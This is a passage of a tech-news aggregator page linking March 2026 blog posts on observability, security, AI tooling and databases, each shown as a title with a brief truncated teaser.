<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/technology-partnerships-as-force-multipliers"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-improving-efficiency-with-a-zabbix-technical-subscription" class="group relative scroll-mt-24">
        <a href="#h3-improving-efficiency-with-a-zabbix-technical-subscription" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Improving Efficiency with a Zabbix Technical Subscription
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-improving-efficiency-with-a-zabbix-technical-subscription"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Affidea, a pan-European provider of diagnostic imaging, community-based polyclinic, and specialist healthcare services, operates in 391 centers across 15 countries. Within its growing network, the com</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/improving-efficiency-with-a-zabbix-technical-subscription/32597/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubecon-cloudnativecon-europe-2026" class="group relative scroll-mt-24">
        <a href="#h3-kubecon-cloudnativecon-europe-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KubeCon + CloudNativeCon Europe 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubecon-cloudnativecon-europe-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The OpenTelemetry project maintainers, members of the governance committee, and technical committee are thrilled to be at KubeCon EU in Amsterdam from March 23 - 26, 2026. Register today to join us! R</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/kubecon-eu/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-create-and-manage-secrets-with-grafana-cloud-synthetic-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-how-to-create-and-manage-secrets-with-grafana-cloud-synthetic-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to create and manage secrets with Grafana Cloud Synthetic Monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-create-and-manage-secrets-with-grafana-cloud-synthetic-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability isn’t just about collecting metrics and logs; it’s about proactively validating that your systems work as expected. Synthetic monitoring helps teams continuously test APIs, applications,</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-to-create-and-manage-secrets-with-grafana-cloud-synthetic-monitoring/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-scan-for-vulnerabilities-with-github-security-labs-open-source-ai-powered-framework" class="group relative scroll-mt-24">
        <a href="#h3-how-to-scan-for-vulnerabilities-with-github-security-labs-open-source-ai-powered-framework" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to scan for vulnerabilities with GitHub Security Lab’s open source AI-powered framework
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-scan-for-vulnerabilities-with-github-security-labs-open-source-ai-powered-framework"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub Security Lab Taskflow Agent is very effective at finding Auth Bypasses, IDORs, Token Leaks, and other high-impact vulnerabilities. The post How to scan for vulnerabilities with GitHub Security </p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/security/how-to-scan-for-vulnerabilities-with-github-security-labs-open-source-ai-powered-framework/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-the-endpoint-to-the-prompt-a-unified-data-security-vision-in-cloudflare-one" class="group relative scroll-mt-24">
        <a href="#h3-from-the-endpoint-to-the-prompt-a-unified-data-security-vision-in-cloudflare-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From the endpoint to the prompt: a unified data security vision in Cloudflare One
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-the-endpoint-to-the-prompt-a-unified-data-security-vision-in-cloudflare-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare One unifies data security from endpoint to prompt: RDP clipboard controls, operation-mapped logs, on-device DLP, and Microsoft 365 Copilot scanning via API CASB.</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/unified-data-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sovereign-clouds-enhanced-data-security-with-confidential-computing" class="group relative scroll-mt-24">
        <a href="#h3-sovereign-clouds-enhanced-data-security-with-confidential-computing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sovereign clouds: enhanced data security with confidential computing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sovereign-clouds-enhanced-data-security-with-confidential-computing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Increasingly, enterprises are interested in improving their level of control over their data, achieving digital sovereignty, and even building their own sovereign cloud. However, this means moving bey</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/sovereign-cloud-confidential-computing"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgadmin-4-v913-released" class="group relative scroll-mt-24">
        <a href="#h3-pgadmin-4-v913-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgAdmin 4 v9.13 Released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgadmin-4-v913-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgAdmin Development Team is pleased to announce the release of pgAdmin 4 version 9.13. This release of pgAdmin 4 includes 15 bug fixes and new features. For more details, please see the release no</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgadmin-4-v913-released-3253/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-standardizing-construct-properties-with-aws-cdk-property-injection" class="group relative scroll-mt-24">
        <a href="#h3-standardizing-construct-properties-with-aws-cdk-property-injection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Standardizing construct properties with AWS CDK Property Injection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-standardizing-construct-properties-with-aws-cdk-property-injection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Standardizing CDK construct properties across a large organization requires repetitive manual effort that scales poorly as teams and repositories grow. Development teams working with AWS Cloud Develop</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/standardizing-construct-properties-with-aws-cdk-property-injection/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mcp-security-implementing-robust-authentication-and-authorization" class="group relative scroll-mt-24">
        <a href="#h3-mcp-security-implementing-robust-authentication-and-authorization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MCP security: Implementing robust authentication and authorization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mcp-security-implementing-robust-authentication-and-authorization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Model Context Protocol (MCP) is increasingly relevant in today’s agentic AI ecosystem because it standardizes how AI agents access tools, data sources, and external systems. As agents move from pa</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/mcp-security-implementing-robust-authentication-and-authorization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-89-problem-how-llms-are-resurrecting-the-dormant-majority-of-open-source" class="group relative scroll-mt-24">
        <a href="#h3-the-89-problem-how-llms-are-resurrecting-the-dormant-majority-of-open-source" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The 89% Problem: How LLMs Are Resurrecting the "Dormant Majority" of Open Source
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-89-problem-how-llms-are-resurrecting-the-dormant-majority-of-open-source"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI coding assistants are resurrecting millions of abandoned open source packages. Learn how LLMs expose the “Dormant Majority” and why package health intelligence is critical for supply chain security</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/llms-resurrecting-open-source-dormant-majority/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-10-ai-prompts-to-speed-your-teams-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-10-ai-prompts-to-speed-your-teams-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 10 AI prompts to speed your team’s software delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-10-ai-prompts-to-speed-your-teams-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI-assisted coding tools are helping developers generate code faster than ever. So why aren’t teams shipping faster? Because coding is only 20% of the software delivery lifecycle, the remaining 80% be</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/10-ai-prompts-to-speed-your-teams-software-delivery/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-build-ai-native-security-resilience" class="group relative scroll-mt-24">
        <a href="#h3-how-to-build-ai-native-security-resilience" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Build AI-Native Security Resilience
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-build-ai-native-security-resilience"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers and security professionals have struggled to get on the same page and AI is only making that divide larger. Learn how organizations can unlock the value of their investments and build AI-na</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/how-to-build-ai-native-security-resilience-and-finally-get-developers-and-security-on-the-same-team"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automate-aws-lambda-runtime-upgrades-with-aws-transform-custom" class="group relative scroll-mt-24">
        <a href="#h3-automate-aws-lambda-runtime-upgrades-with-aws-transform-custom" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automate AWS Lambda Runtime Upgrades with AWS Transform custom
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automate-aws-lambda-runtime-upgrades-with-aws-transform-custom"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Organizations carry a growing burden of technical debt — aging codebases, outdated runtimes, and legacy frameworks that slow innovation, increase security risk, and inflate maintenance co</p>
<p><strong>📅 Mar 2, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/automate-aws-lambda-runtime-upgrades-with-aws-transform-custom/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-tidb-community-quarterly-roundup-the-most-popular-discussion-topics-in-q4-2025" class="group relative scroll-mt-24">
        <a href="#h3-tidb-community-quarterly-roundup-the-most-popular-discussion-topics-in-q4-2025" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB Community Quarterly Roundup: The Most Popular Discussion Topics in Q4 2025
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-community-quarterly-roundup-the-most-popular-discussion-topics-in-q4-2025"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every quarter, our Discord and Slack communities surface questions that reflect what teams are actually working through. These include such topics as migration blockers, cost modeling unknowns, and th</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-community-quarterly-roundup-q4-2025/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-redshift-introduces-new-array-functions-for-semi-structured-data-processing" class="group relative scroll-mt-24">
        <a href="#h3-amazon-redshift-introduces-new-array-functions-for-semi-structured-data-processing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Redshift introduces new array functions for semi-structured data processing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-redshift-introduces-new-array-functions-for-semi-structured-data-processing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Redshift now supports nine new array functions for working with semi-structured data stored in the SUPER data type. The new functions include ARRAY_CONTAINS, ARRAY_DISTINCT, ARRAY_EXCEPT, ARRAY</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-redshift-nine-new-array-functions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-swiss-pgday-2026-announcement-and-cfs" class="group relative scroll-mt-24">
        <a href="#h3-swiss-pgday-2026-announcement-and-cfs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Swiss PGDay 2026: Announcement and CfS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-swiss-pgday-2026-announcement-and-cfs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are pleased to announce Swiss PGDay 2026, which will take place on Thursday 25 June and Friday 26 June 2026 at the OST Eastern Switzerland University of Applied Sciences, Campus Rapperswil (near Zu</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/swiss-pgday-2026-announcement-and-cfs-3252/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-multi-writer-change-data-capture-cdc-architecture-challenges-and-how-ticdc-solves-them" class="group relative scroll-mt-24">
        <a href="#h3-multi-writer-change-data-capture-cdc-architecture-challenges-and-how-ticdc-solves-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Multi-Writer Change Data Capture (CDC): Architecture, Challenges, and How TiCDC Solves Them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-multi-writer-change-data-capture-cdc-architecture-challenges-and-how-ticdc-solves-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What Is Multi-Writer Change Data Capture (CDC)? Change Data Capture (CDC) is a pattern for tracking and propagating data changes in real time, powering use cases like downstream synchronization, audit</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/multi-writer-change-data-capture-cdc-architecture-ticdc-tidb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-vs-milvus-a-comparison-guide" class="group relative scroll-mt-24">
        <a href="#h3-redis-vs-milvus-a-comparison-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis vs Milvus: A comparison guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-vs-milvus-a-comparison-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
